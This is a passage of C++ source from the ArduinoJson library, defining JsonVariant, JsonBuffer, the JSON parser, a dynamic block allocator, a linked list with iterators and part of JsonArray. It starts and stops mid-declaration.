Buffer>\r\n  static duplicate_t duplicate(RawJsonString<String> source, Buffer* buffer) {\r\n    return duplicate_t(StringTraits<String>::duplicate(source, buffer));\r\n  }\r\n  static const bool has_append = false;\r\n  static const bool has_equals = false;\r\n  static const bool should_duplicate = StringTraits<String>::should_duplicate;\r\n};\r\n}  // namespace Internals\r\ntemplate <typename T>\r\ninline Internals::RawJsonString<T> RawJson(T str) {\r\n  return Internals::RawJsonString<T>(str);\r\n}\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct IsFloatingPoint {\r\n  static const bool value = IsSame<T, float>::value || IsSame<T, double>::value;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct RemoveConst {\r\n  typedef T type;\r\n};\r\ntemplate <typename T>\r\nstruct RemoveConst<const T> {\r\n  typedef T type;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nclass JsonArray;\r\nclass JsonObject;\r\nclass JsonVariant : public Internals::JsonVariantBase<JsonVariant> {\r\n  template <typename Print>\r\n  friend class Internals::JsonSerializer;\r\n public:\r\n  JsonVariant() : _type(Internals::JSON_UNDEFINED) {}\r\n  JsonVariant(bool value) {\r\n    using namespace Internals;\r\n    _type = JSON_BOOLEAN;\r\n    _content.asInteger = static_cast<JsonUInt>(value);\r\n  }\r\n  template <typename T>\r\n  JsonVariant(T value, typename Internals::EnableIf<\r\n                           Internals::IsFloatingPoint<T>::value>::type * = 0) {\r\n    using namespace Internals;\r\n    _type = JSON_FLOAT;\r\n    _content.asFloat = static_cast<JsonFloat>(value);\r\n  }\r\n  template <typename T>\r\n  DEPRECATED(\"Second argument is not supported anymore\")\r\n  JsonVariant(T value, uint8_t,\r\n              typename Internals::EnableIf<\r\n                  Internals::IsFloatingPoint<T>::value>::type * = 0) {\r\n    using namespace Internals;\r\n    _type = JSON_FLOAT;\r\n    _content.asFloat = static_cast<JsonFloat>(value);\r\n  }\r\n  template <typename T>\r\n  JsonVariant(\r\n      T value,\r\n      typename Internals::EnableIf<Internals::IsSignedIntegral<T>::value ||\r\n                                   Internals::IsSame<T, char>::value>::type * =\r\n          0) {\r\n    using namespace Internals;\r\n    if (value >= 0) {\r\n      _type = JSON_POSITIVE_INTEGER;\r\n      _content.asInteger = static_cast<JsonUInt>(value);\r\n    } else {\r\n      _type = JSON_NEGATIVE_INTEGER;\r\n      _content.asInteger = static_cast<JsonUInt>(-value);\r\n    }\r\n  }\r\n  template <typename T>\r\n  JsonVariant(T value,\r\n              typename Internals::EnableIf<\r\n                  Internals::IsUnsignedIntegral<T>::value>::type * = 0) {\r\n    using namespace Internals;\r\n    _type = JSON_POSITIVE_INTEGER;\r\n    _content.asInteger = static_cast<JsonUInt>(value);\r\n  }\r\n  template <typename TChar>\r\n  JsonVariant(\r\n      const TChar *value,\r\n      typename Internals::EnableIf<Internals::IsChar<TChar>::value>::type * =\r\n          0) {\r\n    _type = Internals::JSON_STRING;\r\n    _content.asString = reinterpret_cast<const char *>(value);\r\n  }\r\n  JsonVariant(Internals::RawJsonString<const char *> value) {\r\n    _type = Internals::JSON_UNPARSED;\r\n    _content.asString = value;\r\n  }\r\n  JsonVariant(const JsonArray &array);\r\n  JsonVariant(const JsonObject &object);\r\n  template <typename T>\r\n  const typename Internals::EnableIf<Internals::IsIntegral<T>::value, T>::type\r\n  as() const {\r\n    return variantAsInteger<T>();\r\n  }\r\n  template <typename T>\r\n  const typename Internals::EnableIf<Internals::IsSame<T, bool>::value, T>::type\r\n  as() const {\r\n    return variantAsInteger<int>() != 0;\r\n  }\r\n  template <typename T>\r\n  const typename Internals::EnableIf<Internals::IsFloatingPoint<T>::value,\r\n                                     T>::type\r\n  as() const {\r\n    return variantAsFloat<T>();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::IsSame<T, const char *>::value ||\r\n                                   Internals::IsSame<T, char *>::value,\r\n                               const char *>::type\r\n  as() const {\r\n    return variantAsString();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::StringTraits<T>::has_append, T>::type\r\n  as() const {\r\n    const char *cstr = variantAsString();\r\n    if (cstr) return T(cstr);\r\n    T s;\r\n    printTo(s);\r\n    return s;\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<\r\n      Internals::IsSame<typename Internals::RemoveReference<T>::type,\r\n                        JsonArray>::value,\r\n      JsonArray &>::type\r\n  as() const {\r\n    return variantAsArray();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<\r\n      Internals::IsSame<typename Internals::RemoveReference<T>::type,\r\n                        const JsonArray>::value,\r\n      const JsonArray &>::type\r\n  as() const {\r\n    return variantAsArray();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<\r\n      Internals::IsSame<typename Internals::RemoveReference<T>::type,\r\n                        JsonObject>::value,\r\n      JsonObject &>::type\r\n  as() const {\r\n    return variantAsObject();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<\r\n      Internals::IsSame<typename Internals::RemoveReference<T>::type,\r\n                        const JsonObject>::value,\r\n      const JsonObject &>::type\r\n  as() const {\r\n    return variantAsObject();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::IsSame<T, JsonVariant>::value,\r\n                               T>::type\r\n  as() const {\r\n    return *this;\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::IsIntegral<T>::value, bool>::type is()\r\n      const {\r\n    return variantIsInteger();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::IsFloatingPoint<T>::value, bool>::type\r\n  is() const {\r\n    return variantIsFloat();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::IsSame<T, bool>::value, bool>::type\r\n  is() const {\r\n    return variantIsBoolean();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::IsSame<T, const char *>::value ||\r\n                                   Internals::IsSame<T, char *>::value ||\r\n                                   Internals::StringTraits<T>::has_append,\r\n                               bool>::type\r\n  is() const {\r\n    return variantIsString();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<\r\n      Internals::IsSame<typename Internals::RemoveConst<\r\n                            typename Internals::RemoveReference<T>::type>::type,\r\n                        JsonArray>::value,\r\n      bool>::type\r\n  is() const {\r\n    return variantIsArray();\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<\r\n      Internals::IsSame<typename Internals::RemoveConst<\r\n                            typename Internals::RemoveReference<T>::type>::type,\r\n                        JsonObject>::value,\r\n      bool>::type\r\n  is() const {\r\n    return variantIsObject();\r\n  }\r\n  bool success() const {\r\n    return _type != Internals::JSON_UNDEFINED;\r\n  }\r\n private:\r\n  JsonArray &variantAsArray() const;\r\n  JsonObject &variantAsObject() const;\r\n  const char *variantAsString() const;\r\n  template <typename T>\r\n  T variantAsFloat() const;\r\n  template <typename T>\r\n  T variantAsInteger() const;\r\n  bool variantIsBoolean() const;\r\n  bool variantIsFloat() const;\r\n  bool variantIsInteger() const;\r\n  bool variantIsArray() const {\r\n    return _type == Internals::JSON_ARRAY;\r\n  }\r\n  bool variantIsObject() const {\r\n    return _type == Internals::JSON_OBJECT;\r\n  }\r\n  bool variantIsString() const {\r\n    return _type == Internals::JSON_STRING ||\r\n           (_type == Internals::JSON_UNPARSED && _content.asString &&\r\n            !strcmp(\"null\", _content.asString));\r\n  }\r\n  Internals::JsonVariantType _type;\r\n  Internals::JsonVariantContent _content;\r\n};\r\nDEPRECATED(\"Decimal places are ignored, use the float value instead\")\r\ninline JsonVariant float_with_n_digits(float value, uint8_t) {\r\n  return JsonVariant(value);\r\n}\r\nDEPRECATED(\"Decimal places are ignored, use the double value instead\")\r\ninline JsonVariant double_with_n_digits(double value, uint8_t) {\r\n  return JsonVariant(value);\r\n}\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct IsArray {\r\n  static const bool value = false;\r\n};\r\ntemplate <typename T>\r\nstruct IsArray<T[]> {\r\n  static const bool value = true;\r\n};\r\ntemplate <typename T, size_t N>\r\nstruct IsArray<T[N]> {\r\n  static const bool value = true;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nclass JsonArray;\r\nclass JsonObject;\r\nclass JsonBuffer : Internals::NonCopyable {\r\n public:\r\n  JsonArray &createArray();\r\n  JsonObject &createObject();\r\n  template <typename TString>\r\n  DEPRECATED(\"char* are duplicated, you don't need strdup() anymore\")\r\n  typename Internals::EnableIf<!Internals::IsArray<TString>::value,\r\n                               const char *>::type strdup(const TString &src) {\r\n    return Internals::StringTraits<TString>::duplicate(src, this);\r\n  }\r\n  template <typename TString>\r\n  DEPRECATED(\"char* are duplicated, you don't need strdup() anymore\")\r\n  const char *strdup(TString *src) {\r\n    return Internals::StringTraits<TString *>::duplicate(src, this);\r\n  }\r\n  virtual void *alloc(size_t size) = 0;\r\n protected:\r\n  ~JsonBuffer() {}\r\n  static FORCE_INLINE size_t round_size_up(size_t bytes) {\r\n#if ARDUINOJSON_ENABLE_ALIGNMENT\r\n    const size_t x = sizeof(void *) - 1;\r\n    return (bytes + x) & ~x;\r\n#else\r\n    return bytes;\r\n#endif\r\n  }\r\n};\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TChar>\r\nclass StringWriter {\r\n public:\r\n  class String {\r\n   public:\r\n    String(TChar** ptr) : _writePtr(ptr), _startPtr(*ptr) {}\r\n    void append(char c) {\r\n      *(*_writePtr)++ = TChar(c);\r\n    }\r\n    const char* c_str() const {\r\n      *(*_writePtr)++ = 0;\r\n      return reinterpret_cast<const char*>(_startPtr);\r\n    }\r\n   private:\r\n    TChar** _writePtr;\r\n    TChar* _startPtr;\r\n  };\r\n  StringWriter(TChar* buffer) : _ptr(buffer) {}\r\n  String startString() {\r\n    return String(&_ptr);\r\n  }\r\n private:\r\n  TChar* _ptr;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TReader, typename TWriter>\r\nclass JsonParser {\r\n public:\r\n  JsonParser(JsonBuffer *buffer, TReader reader, TWriter writer,\r\n             uint8_t nestingLimit)\r\n      : _buffer(buffer),\r\n        _reader(reader),\r\n        _writer(writer),\r\n        _nestingLimit(nestingLimit) {}\r\n  JsonArray &parseArray();\r\n  JsonObject &parseObject();\r\n  JsonVariant parseVariant() {\r\n    JsonVariant result;\r\n    parseAnythingTo(&result);\r\n    return result;\r\n  }\r\n private:\r\n  JsonParser &operator=(const JsonParser &);  // non-copiable\r\n  static bool eat(TReader &, char charToSkip);\r\n  FORCE_INLINE bool eat(char charToSkip) {\r\n    return eat(_reader, charToSkip);\r\n  }\r\n  const char *parseString();\r\n  bool parseAnythingTo(JsonVariant *destination);\r\n  inline bool parseArrayTo(JsonVariant *destination);\r\n  inline bool parseObjectTo(JsonVariant *destination);\r\n  inline bool parseStringTo(JsonVariant *destination);\r\n  static inline bool isBetween(char c, char min, char max) {\r\n    return min <= c && c <= max;\r\n  }\r\n  static inline bool canBeInNonQuotedString(char c) {\r\n    return isBetween(c, '0', '9') || isBetween(c, '_', 'z') ||\r\n           isBetween(c, 'A', 'Z') || c == '+' || c == '-' || c == '.';\r\n  }\r\n  static inline bool isQuote(char c) {\r\n    return c == '\\'' || c == '\\\"';\r\n  }\r\n  JsonBuffer *_buffer;\r\n  TReader _reader;\r\n  TWriter _writer;\r\n  uint8_t _nestingLimit;\r\n};\r\ntemplate <typename TJsonBuffer, typename TString, typename Enable = void>\r\nstruct JsonParserBuilder {\r\n  typedef typename StringTraits<TString>::Reader InputReader;\r\n  typedef JsonParser<InputReader, TJsonBuffer &> TParser;\r\n  static TParser makeParser(TJsonBuffer *buffer, TString &json,\r\n                            uint8_t nestingLimit) {\r\n    return TParser(buffer, InputReader(json), *buffer, nestingLimit);\r\n  }\r\n};\r\ntemplate <typename TJsonBuffer, typename TChar>\r\nstruct JsonParserBuilder<TJsonBuffer, TChar *,\r\n                         typename EnableIf<!IsConst<TChar>::value>::type> {\r\n  typedef typename StringTraits<TChar *>::Reader TReader;\r\n  typedef StringWriter<TChar> TWriter;\r\n  typedef JsonParser<TReader, TWriter> TParser;\r\n  static TParser makeParser(TJsonBuffer *buffer, TChar *json,\r\n                            uint8_t nestingLimit) {\r\n    return TParser(buffer, TReader(json), TWriter(json), nestingLimit);\r\n  }\r\n};\r\ntemplate <typename TJsonBuffer, typename TString>\r\ninline typename JsonParserBuilder<TJsonBuffer, TString>::TParser makeParser(\r\n    TJsonBuffer *buffer, TString &json, uint8_t nestingLimit) {\r\n  return JsonParserBuilder<TJsonBuffer, TString>::makeParser(buffer, json,\r\n                                                             nestingLimit);\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TDerived>\r\nclass JsonBufferBase : public JsonBuffer {\r\n public:\r\n  template <typename TString>\r\n  typename Internals::EnableIf<!Internals::IsArray<TString>::value,\r\n                               JsonArray &>::type\r\n  parseArray(const TString &json,\r\n             uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseArray();\r\n  }\r\n  template <typename TString>\r\n  JsonArray &parseArray(\r\n      TString *json, uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseArray();\r\n  }\r\n  template <typename TString>\r\n  JsonArray &parseArray(\r\n      TString &json, uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseArray();\r\n  }\r\n  template <typename TString>\r\n  typename Internals::EnableIf<!Internals::IsArray<TString>::value,\r\n                               JsonObject &>::type\r\n  parseObject(const TString &json,\r\n              uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseObject();\r\n  }\r\n  template <typename TString>\r\n  JsonObject &parseObject(\r\n      TString *json, uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseObject();\r\n  }\r\n  template <typename TString>\r\n  JsonObject &parseObject(\r\n      TString &json, uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseObject();\r\n  }\r\n  template <typename TString>\r\n  typename Internals::EnableIf<!Internals::IsArray<TString>::value,\r\n                               JsonVariant>::type\r\n  parse(const TString &json,\r\n        uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseVariant();\r\n  }\r\n  template <typename TString>\r\n  JsonVariant parse(TString *json,\r\n                    uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseVariant();\r\n  }\r\n  template <typename TString>\r\n  JsonVariant parse(TString &json,\r\n                    uint8_t nestingLimit = ARDUINOJSON_DEFAULT_NESTING_LIMIT) {\r\n    return Internals::makeParser(that(), json, nestingLimit).parseVariant();\r\n  }\r\n protected:\r\n  ~JsonBufferBase() {}\r\n private:\r\n  TDerived *that() {\r\n    return static_cast<TDerived *>(this);\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#if defined(__clang__)\r\n#pragma clang diagnostic push\r\n#pragma clang diagnostic ignored \"-Wnon-virtual-dtor\"\r\n#elif defined(__GNUC__)\r\n#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)\r\n#pragma GCC diagnostic push\r\n#endif\r\n#pragma GCC diagnostic ignored \"-Wnon-virtual-dtor\"\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass DefaultAllocator {\r\n public:\r\n  void* allocate(size_t size) {\r\n    return malloc(size);\r\n  }\r\n  void deallocate(void* pointer) {\r\n    free(pointer);\r\n  }\r\n};\r\ntemplate <typename TAllocator>\r\nclass DynamicJsonBufferBase\r\n    : public JsonBufferBase<DynamicJsonBufferBase<TAllocator> > {\r\n  struct Block;\r\n  struct EmptyBlock {\r\n    Block* next;\r\n    size_t capacity;\r\n    size_t size;\r\n  };\r\n  struct Block : EmptyBlock {\r\n    uint8_t data[1];\r\n  };\r\n public:\r\n  enum { EmptyBlockSize = sizeof(EmptyBlock) };\r\n  DynamicJsonBufferBase(size_t initialSize = 256)\r\n      : _head(NULL), _nextBlockCapacity(initialSize) {}\r\n  ~DynamicJsonBufferBase() {\r\n    clear();\r\n  }\r\n  size_t size() const {\r\n    size_t total = 0;\r\n    for (const Block* b = _head; b; b = b->next) total += b->size;\r\n    return total;\r\n  }\r\n  virtual void* alloc(size_t bytes) {\r\n    alignNextAlloc();\r\n    return canAllocInHead(bytes) ? allocInHead(bytes) : allocInNewBlock(bytes);\r\n  }\r\n  void clear() {\r\n    Block* currentBlock = _head;\r\n    while (currentBlock != NULL) {\r\n      _nextBlockCapacity = currentBlock->capacity;\r\n      Block* nextBlock = currentBlock->next;\r\n      _allocator.deallocate(currentBlock);\r\n      currentBlock = nextBlock;\r\n    }\r\n    _head = 0;\r\n  }\r\n  class String {\r\n   public:\r\n    String(DynamicJsonBufferBase* parent)\r\n        : _parent(parent), _start(NULL), _length(0) {}\r\n    void append(char c) {\r\n      if (_parent->canAllocInHead(1)) {\r\n        char* end = static_cast<char*>(_parent->allocInHead(1));\r\n        *end = c;\r\n        if (_length == 0) _start = end;\r\n      } else {\r\n        char* newStart =\r\n            static_cast<char*>(_parent->allocInNewBlock(_length + 1));\r\n        if (_start && newStart) memcpy(newStart, _start, _length);\r\n        if (newStart) newStart[_length] = c;\r\n        _start = newStart;\r\n      }\r\n      _length++;\r\n    }\r\n    const char* c_str() {\r\n      append(0);\r\n      return _start;\r\n    }\r\n   private:\r\n    DynamicJsonBufferBase* _parent;\r\n    char* _start;\r\n    size_t _length;\r\n  };\r\n  String startString() {\r\n    return String(this);\r\n  }\r\n private:\r\n  void alignNextAlloc() {\r\n    if (_head) _head->size = this->round_size_up(_head->size);\r\n  }\r\n  bool canAllocInHead(size_t bytes) const {\r\n    return _head != NULL && _head->size + bytes <= _head->capacity;\r\n  }\r\n  void* allocInHead(size_t bytes) {\r\n    void* p = _head->data + _head->size;\r\n    _head->size += bytes;\r\n    return p;\r\n  }\r\n  void* allocInNewBlock(size_t bytes) {\r\n    size_t capacity = _nextBlockCapacity;\r\n    if (bytes > capacity) capacity = bytes;\r\n    if (!addNewBlock(capacity)) return NULL;\r\n    _nextBlockCapacity *= 2;\r\n    return allocInHead(bytes);\r\n  }\r\n  bool addNewBlock(size_t capacity) {\r\n    size_t bytes = EmptyBlockSize + capacity;\r\n    Block* block = static_cast<Block*>(_allocator.allocate(bytes));\r\n    if (block == NULL) return false;\r\n    block->capacity = capacity;\r\n    block->size = 0;\r\n    block->next = _head;\r\n    _head = block;\r\n    return true;\r\n  }\r\n  TAllocator _allocator;\r\n  Block* _head;\r\n  size_t _nextBlockCapacity;\r\n};\r\n}  // namespace Internals\r\n#if defined(__clang__)\r\n#pragma clang diagnostic pop\r\n#elif defined(__GNUC__)\r\n#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)\r\n#pragma GCC diagnostic pop\r\n#endif\r\n#endif\r\ntypedef Internals::DynamicJsonBufferBase<Internals::DefaultAllocator>\r\n    DynamicJsonBuffer;\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass JsonBufferAllocated {\r\n public:\r\n  void *operator new(size_t n, JsonBuffer *jsonBuffer) throw() {\r\n    if (!jsonBuffer) return NULL;\r\n    return jsonBuffer->alloc(n);\r\n  }\r\n  void operator delete(void *, JsonBuffer *)throw();\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct ListNode : public Internals::JsonBufferAllocated {\r\n  ListNode() throw() : next(NULL) {}\r\n  ListNode<T> *next;\r\n  T content;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nclass ListConstIterator {\r\n public:\r\n  explicit ListConstIterator(const ListNode<T> *node = NULL) : _node(node) {}\r\n  const T &operator*() const {\r\n    return _node->content;\r\n  }\r\n  const T *operator->() {\r\n    return &_node->content;\r\n  }\r\n  bool operator==(const ListConstIterator<T> &other) const {\r\n    return _node == other._node;\r\n  }\r\n  bool operator!=(const ListConstIterator<T> &other) const {\r\n    return _node != other._node;\r\n  }\r\n  ListConstIterator<T> &operator++() {\r\n    if (_node) _node = _node->next;\r\n    return *this;\r\n  }\r\n  ListConstIterator<T> &operator+=(size_t distance) {\r\n    while (_node && distance) {\r\n      _node = _node->next;\r\n      --distance;\r\n    }\r\n    return *this;\r\n  }\r\n private:\r\n  const ListNode<T> *_node;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nclass List;\r\ntemplate <typename T>\r\nclass ListIterator {\r\n  friend class List<T>;\r\n public:\r\n  explicit ListIterator(ListNode<T> *node = NULL) : _node(node) {}\r\n  T &operator*() const {\r\n    return _node->content;\r\n  }\r\n  T *operator->() {\r\n    return &_node->content;\r\n  }\r\n  bool operator==(const ListIterator<T> &other) const {\r\n    return _node == other._node;\r\n  }\r\n  bool operator!=(const ListIterator<T> &other) const {\r\n    return _node != other._node;\r\n  }\r\n  ListIterator<T> &operator++() {\r\n    if (_node) _node = _node->next;\r\n    return *this;\r\n  }\r\n  ListIterator<T> &operator+=(size_t distance) {\r\n    while (_node && distance) {\r\n      _node = _node->next;\r\n      --distance;\r\n    }\r\n    return *this;\r\n  }\r\n  operator ListConstIterator<T>() const {\r\n    return ListConstIterator<T>(_node);\r\n  }\r\n private:\r\n  ListNode<T> *_node;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nclass List {\r\n public:\r\n  typedef T value_type;\r\n  typedef ListNode<T> node_type;\r\n  typedef ListIterator<T> iterator;\r\n  typedef ListConstIterator<T> const_iterator;\r\n  explicit List(JsonBuffer *buffer) : _buffer(buffer), _firstNode(NULL) {}\r\n  bool success() const {\r\n    return _buffer != NULL;\r\n  }\r\n  size_t size() const {\r\n    size_t nodeCount = 0;\r\n    for (node_type *node = _firstNode; node; node = node->next) nodeCount++;\r\n    return nodeCount;\r\n  }\r\n  iterator add() {\r\n    node_type *newNode = new (_buffer) node_type();\r\n    if (_firstNode) {\r\n      node_type *lastNode = _firstNode;\r\n      while (lastNode->next) lastNode = lastNode->next;\r\n      lastNode->next = newNode;\r\n    } else {\r\n      _firstNode = newNode;\r\n    }\r\n    return iterator(newNode);\r\n  }\r\n  iterator begin() {\r\n    return iterator(_firstNode);\r\n  }\r\n  iterator end() {\r\n    return iterator(NULL);\r\n  }\r\n  const_iterator begin() const {\r\n    return const_iterator(_firstNode);\r\n  }\r\n  const_iterator end() const {\r\n    return const_iterator(NULL);\r\n  }\r\n  void remove(iterator it) {\r\n    node_type *nodeToRemove = it._node;\r\n    if (!nodeToRemove) return;\r\n    if (nodeToRemove == _firstNode) {\r\n      _firstNode = nodeToRemove->next;\r\n    } else {\r\n      for (node_type *node = _firstNode; node; node = node->next)\r\n        if (node->next == nodeToRemove) node->next = nodeToRemove->next;\r\n    }\r\n  }\r\n protected:\r\n  JsonBuffer *_buffer;\r\n private:\r\n  node_type *_firstNode;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass ReferenceType {\r\n public:\r\n  bool operator==(const ReferenceType& other) const {\r\n    return this == &other;\r\n  }\r\n  bool operator!=(const ReferenceType& other) const {\r\n    return this != &other;\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename Source, typename Enable = void>\r\nstruct ValueSaver {\r\n  template <typename Destination>\r\n  static bool save(JsonBuffer*, Destination& destination, Source source) {\r\n    destination = source;\r\n    return true;\r\n  }\r\n};\r\ntemplate <typename Source>\r\nstruct ValueSaver<\r\n    Source, typename EnableIf<StringTraits<Source>::should_duplicate>::type> {\r\n  template <typename Destination>\r\n  static bool save(JsonBuffer* buffer, Destination& dest, Source source) {\r\n    if (!StringTraits<Source>::is_null(source)) {\r\n      typename StringTraits<Source>::duplicate_t dup =\r\n          StringTraits<Source>::duplicate(source, buffer);\r\n      if (!dup) return false;\r\n      dest = dup;\r\n    } else {\r\n      dest = reinterpret_cast<const char*>(0);\r\n    }\r\n    return true;\r\n  }\r\n};\r\ntemplate <typename Char>\r\nstruct ValueSaver<\r\n    Char*, typename EnableIf<!StringTraits<Char*>::should_duplicate>::type> {\r\n  template <typename Destination>\r\n  static bool save(JsonBuffer*, Destination& dest, Char* source) {\r\n    dest = reinterpret_cast<const char*>(source);\r\n    return true;\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#define JSON_ARRAY_SIZE(NUMBER_OF_ELEMENTS) \\\r\n  (sizeof(JsonArray) + (NUMBER_OF_ELEMENTS) * sizeof(JsonArray::node_type))\r\nnamespace ArduinoJson {\r\nclass JsonObject;\r\nclass JsonBuffer;\r\nnamespace Internals {\r\nclass JsonArraySubscript;\r\n}\r\nclass JsonArray : public Internals::JsonPrintable<JsonArray>,\r\n                  public Internals::ReferenceType,\r\n                  public Internals::NonCopyable,\r\n                  public Internals::List<JsonVariant>,\r\n                  public Internals::JsonBufferAllocated {\r\n public:\r\n  explicit JsonArray(JsonBuffer *buffer) throw()\r\n      : Internals::List<JsonVariant>(buffer) {}\r\n  const Internals::JsonArraySubscript operator[](size_t index) const;\r\n  Internals::JsonArraySubscript operator[](size_t index);\r\n  template <typename T>\r\n  bool add(const T &value) {\r\n    return add_impl<const T &>(value);\r\n  }\r\n  template <typename T>\r\n  bool add(T *value) {\r\n    return add_impl<T *>(value);\r\n  }\r\n  template <typename T>\r\n  DEPRECATED(\"Second argument is not supported anymore\")\r\n  bool add(T value, uint8_t) {\r\n    return add_impl<const JsonVariant &>(JsonVariant(value));\r\n  }\r\n  template <typename T>\r\n  bool set(size_t index, const T &value) {\r\n    return set_impl<const T &>(index, value);\r\n  }\r\n  template <typename T>\r\n  bool set(size_t index, T *value) {\r\n    return set_impl<T *>(index, value);\r\n  }\r\n  template <typename T>\r\n  typename Internals::EnableIf<Internals::IsFloatingPoint<T>::value, bool>::type\r\n  set(size_t index, T value, uint8_t decimals) {\r\n    return set_impl<const JsonVariant &>(index, JsonVariant(value, decimals));\r\n  }\r\n  template <typename T>\r\n  typename Internals::JsonVariantAs<T>::type get(size_t index) const {\r\n    const_iterator it = begin() += index;\r\n    return it != end() ? it->as<T>() : Internals::JsonVariantDefault<T>::get();\r\n  }\r\n  template <typename T>\r\n  bool is(size_t index) const {\r\n    const_iterator it = begin() += index;\r\n    return it != end() ? it->is<T>() : false;\r\n  }\r\n  JsonArray &createNestedArray();\r\n  JsonObject &createNestedObject();\r\n  void remove(size_t index) {\r\n    remove(begin() += index);\r\n  }\r\n  using Internals::List<JsonVariant>::remove;\r\n  static JsonArray &invalid() {\r\n    static JsonArray instance(NULL);\r\n    return instance;\r\n  }\r\n  template <typename T, size_t N>\r\n  bool copyFrom(T (&array)[N]) {\r\n    return copyFrom(array, N);\r\n  }\r\n  template <typename T>\r\n  bool copyFrom(T *array, size_t len) {\r\n    bool ok = true;\r\n    for (size_t i = 0; i < len; i++) {\r\n      ok &= add(array[i]);\r\n    }\r\n    return ok;\r\n  }\r\n  template <typename T, size_t N1, size_t N2>\r\n  bool copyFrom(T (&array)[N1][N2]) {\r\n    bool ok = true;\r\n    for (size_t i = 0; i < N1; i++) {\r\n      JsonArray &nestedArray = createNestedArray();\r\n      for (size_t j = 0; j < N2; j++) {\r\n        ok &= nestedArray.add(array[i][j]);\r\n      }\r\n    }\r\n    return ok;\r\n  }\r\n  template <typename T, size_t N>\r\n  size_t copyTo(T (&array)[N]) const {\r\n    return copyTo(array, N);\r\n  }\r\n  template <typename T>\r\n  size_t copyTo(T *array, size_t len) const {\r\n    size_t i = 0;\r\n    for (const_iterator it = begin(); it != end() && i < len; ++it)\r\n      array[i++] = *it;\r\n    return i;\r\n  }\r\n  template <typename T, size_t N1, size_t N2>\r\n  void copyTo(T (&array)[N1][N2]) const {\r\n    size_t i = 0;\r\n    for (const_iterator it = begin(); it != end() && i < N1; ++it) {\r\n      it->as<JsonArray>().copyTo(array[i++]);\r\n    }\r\n  }\r\n#if ARDUINOJSON_ENABLE_DEPRECATED\r\n  DEPRECATED(\"use remove() instead\")\r\n  FORCE_INLINE void removeAt(size_t index) {\r\n    return remove(index);\r\n  }\r\n#endif\r\n private:\r\n  template <typename TValueRef>\r\n  bool set_impl(size_t index, TValueRef value) {\r\n    iterator it = begin() += index;\r\n    if (it == end()) return false;\r\n    return Internals::ValueSaver<TValueRef>::save(_buffer, *it, value);\r\n  }\r\n  template <typename 